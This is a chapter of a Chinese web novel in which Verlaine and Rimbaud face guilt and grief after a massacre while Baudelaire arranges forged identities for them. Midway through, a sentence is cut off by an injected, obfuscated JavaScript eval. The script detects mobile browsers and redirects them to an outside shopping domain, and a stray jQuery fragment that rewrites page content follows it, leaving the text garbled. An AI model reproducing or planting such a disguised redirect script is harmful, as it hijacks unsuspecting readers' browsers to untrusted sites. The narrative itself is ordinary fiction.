文趣网 > 都市小说 > 我靠我们不是搭档吗 > 26.第 26 章
    【26】

    从梅斯回来的第二天,魏尔伦出现在巴黎公社东翼地下一层的走廊里。

    这条走廊和几天前一样,禁闭室门口的守卫看到魏尔伦走过来压低声音说了句“波德莱尔先生交代过,您可以随时进去”。

    铁门推开时,兰波盘腿坐在床上背靠墙壁,金色长发散乱地披在肩侧,他听到开门声时没有抬头,眼睛死死地盯着对面那堵白墙,睫毛在灯光下投下一小片一动不动的阴影。

    魏尔伦走到床边,把手里拿着的干净外套放在兰波膝盖上。

    兰波低头看着膝盖上那团熟悉的深棕色布料,手指从交叠的姿势里慢慢松开,他把外套套在身上,就立刻从床上滑下来,光脚踩在冰凉的水泥地面上。

    “……你回来了。”嗓音干涩得厉害。

    “回来了。”魏尔伦伸手把兰波身上的外套领口往上拽了拽,“我们回家……”

    波德莱尔在办公室等他们,他站在窗边浇花。

    魏尔伦推门进去时看到这个场景,脑子里闪过七年前第一次进这间办公室的画面,棕发青年靠在同样的窗边,蓝眼睛从杯沿上方扫过来,说了句“你来了”。

    那时候窗台上只有一盆还没巴掌大的绿萝幼苗。

    波德莱尔把水壶放在窗台上,转过身,“十一区事件的媒体定性已经完成,政府那边把责任全部归到了反政府组织头上,兰波的禁闭记录会在档案里显示为‘配合调查’,对外公布的公社成员伤亡名单里不会有你们的名字。”

    “这件事到此为止。”

    波德莱尔做的这一切,是把兰波当成不可牺牲的变量。

    “坐。”

    魏尔伦站在办公桌前,把话说出口:“我接受改头换面,听你的去欧洲异能局。”

    波德莱尔看着他,没有立刻接话,过了几秒,他才说:“你想清楚了。”

    “想不清楚。”魏尔伦说,“但我没有别的路。”

    “公社情报部门会为你们匹配一套完整的假履历。保尔·魏尔伦仍然是保尔·魏尔伦,阿尔蒂尔·兰波仍然是阿尔蒂尔·兰波。出生地、出生年份、家庭背景全部更新,当然,仅限于法兰西境内。”

    他把表格往前推了半寸。

    “这是一份‘国内版’的身份证明。在法国境内,任何政府机构、警察系统、地方档案查询,都会确认阿尔蒂尔·兰波是一个出生在里昂的普通人类公民。”

    他把另一份文件从抽屉里取出,放在两份表格旁边,是欧洲异能局的入学通知。

    “但在国际上,这份假履历没有效力。”

    魏尔伦的睫毛轻轻颤动。

    “也就是说,”波德莱尔靠回椅背,蓝眼睛平静地看着他,“公社能做的只是在法国境内替他伪造一个人类身份。”

    “这份身份文件拿到欧洲异能局门口,得不到欧洲异能局本身的认可,就是废纸一张。”

    波德莱尔用手指在入学通知上轻轻叩了两下。

    “能堵上漏洞的只有欧洲异能局,它是全欧洲最权威的异能组织,也是唯一一个被各国共同承认的中立机构。”

    “培训结业后,兰波会获得欧洲异能局正式认证的国际法人身份。”

    “我给你铺的这条路,唯一的终点在这里。”

    “你母亲的失踪,我会帮忙处理,政府那边的人事档案、医院记录、税务登记,我的建议是全部抹掉,只保留一个查无此人的结果。但你要清楚,抹掉她存在的痕迹,她从此跟你再无法律上的关联。”

    魏尔伦沉默了。

    “你以后想找她,也找不到。”

    “我知道。”

    魏尔伦低头看着桌面上那两份表格和入学通知,他赌不起母亲在他看不见的地方再次出事,也赌不起兰波在跨国追踪中被某个组织抢走。

    波德莱尔铺好的路,终点放着的是兰波的法律生命。

    在此之前波德莱尔给不了的东西,现在也给不了,但波德莱尔把唯一能给的途径摆在他面前。

    只要在欧洲异能局站稳脚跟,平安毕业,他就立刻带着兰波从巴黎公社逃出来。

    波德莱尔说的话他一个字都不信,结业之后,公社只会绑得更紧。

    兰波的国际身份是公社的筹码,他魏尔伦是公社的刀。

    刀和筹码,谁也别想自己走出棋盘。

    至于德累斯顿石板,让它见鬼去吧!

    【你迁怒我。】

    哇塞,一说坏话立马出现,真是好“巧”啊!德累斯顿石板。

    【我在听。】

    “明天开始最后一期前线训练,雨果亲自带你们。”

    魏尔伦点头,接过档案袋,转身往门口走。

    兰波跟在他身后,经过办公桌时停了一下,伸手把果酱罐子拿起来,放进外套口袋里。

    波德莱尔低头看着自己桌上那罐蓝莓果酱留下的圆形空位,伸手把咖啡杯放在那个空位上。

    从公社回住处的路走了快二十分钟,兰波一路上没怎么说话,跟在魏尔伦身边,踩着碎石路面上被路灯拉长的影子。

    推开住处的门,客厅还是离开时的样子。

    兰波坐到沙发上,把外套拽下来搭在扶手边上,靠在沙发靠背上,眼睛看着窗台上新买的小花盆,发了好一阵呆。

    “伊莉莎说鸽子坐船会晕船。”

    魏尔伦从厨房门口转过身。

    “她说鸽子会飞到桥墩上休息,”兰波把自己蜷起来缩进沙发角落,下巴搁在膝盖上,“所以纸船不用漂太远,漂到桥墩就行。”

    魏尔伦没接话,走过去把掉在地上的抱枕捡起来,放在兰波旁边。

    当晚两个人睡在同一张床上。

    各自洗完澡之后,兰波先躺下去,把被子卷了一半抱在怀里,魏尔伦关了顶灯,只留床头那盏黄铜台灯,躺在床的另一侧。

    沉默持续了将近一个钟头,直到凌晨最暗的那个时段,兰波翻过身来对着他的后脑勺开口。

    “你不怪我吗?”

    魏尔伦反问,“为什么怪你。”

    “我杀了好多人。”

    魏尔伦闻言沉默了很长时间。

    可牺牲变量吗?

    报纸头版上六百七十二这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821290|208990||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个数字里,剩下那四百多个人,是兰波的重力场没有在任何一寸空间上收住时碾过去的人。

    他再也不能像拉着兰波的手从公共教室走出去时那样,理直气壮地说“人类的生命是可贵的”了。

    他自己的手也沾着血肉,他杀过的反政府人员名单如果列出来比兰波肩上的头发丝还密。

    手里有过人命的,再也说不出“生命诚可贵”这种话。

    伊莉莎的死把那些命全部压下来,叫他承认,在这个年代,人类的生命毫无意义。

    牧神实验室里那些躺在培养皿中的婴儿档案,被丈夫揪住头发踹进子宫的母亲,被反政府人员当成报复工具杀害在十一区公寓里的小女孩。

    因为这些人是底层,所以没有任何至高法则替他们伸张正义。

    还有他,他已经彻底成了这个年代的一部分。

    他从来没有真正保护过任何人,他在以为自己可以保护的假象里,把恐惧裹成沉默。

    “是我的错。”嗓子里有比水更黏稠的东西堵着,“我每次想你的时候,眼前全是你蹲在茶几旁边替她叠纸船的样子。”

    兰波爬起来把被子掀到一边,膝盖压在魏尔伦身体两侧的床垫边缘,金色长发从肩前散落,发尾扫过魏尔伦锁骨与颈部之间的皮肤。

    他双手撑在魏尔伦枕头两侧,上半身压得很低。

    “看着我。”

    魏尔伦看着他,兰波把脸压得更低,睫毛在魏尔伦颧骨上方慢慢扫过去,鼻尖几乎撞上鼻尖。

    “为什么?为什么是你的错?你为什么总是把什么都往自己身上揽?”

    “你没有家了,你还说这是你的错,你最大的错就是他们杀伊莉莎的时候你不在家,你在里尔,你怪我比你早到,你怪你自己让伊莉莎等了那么久。”

    “我没有家了……阿尔蒂尔。”

    兰波把手指从枕头上移开,放在魏尔伦的胸口正中,隔着薄薄的衬衫,心跳一下一下撞在他掌心上。

    他把重心从手掌转移到自己的前额,整个人埋进魏尔伦胸口,额头抵着他的锁骨,手臂从下方环上来攥住他后腰的衣料,力道大到指节隔着衬衫在皮肤上顶出痕迹。

    金色长发散落在魏尔伦的肩窝和枕头上,呼吸透过布料渗进锁骨凹陷。

    “你还有我,我不会离开你。”

    魏尔伦伸出手,扣住兰波的后背,手指插进兰波散开的头发里,他垂下头把下巴搁在兰波头顶,金发在他的呼吸中微微起伏。

    他以为自己已经把情绪处理好了,在梅斯的河边,他把那个男人的骨灰撒进水里的时候,他以为自己不会再失控了。

    可怀里这个人的体温透过两层布料传过来,把他身体里最后一道防线也冲垮了。

    “谢谢你,愿意,出现在,我的世界里……”

    兰波没再说话,把手臂收得更紧,直到两个人的心跳隔着两层衬衫布料在同一个频率上互相撞击。

    台灯的暖光在他们交叠的身体轮廓上勾出一条模糊的金边。

    “笨蛋。”许久之后,兰波才轻声道:“你才是我的世界。”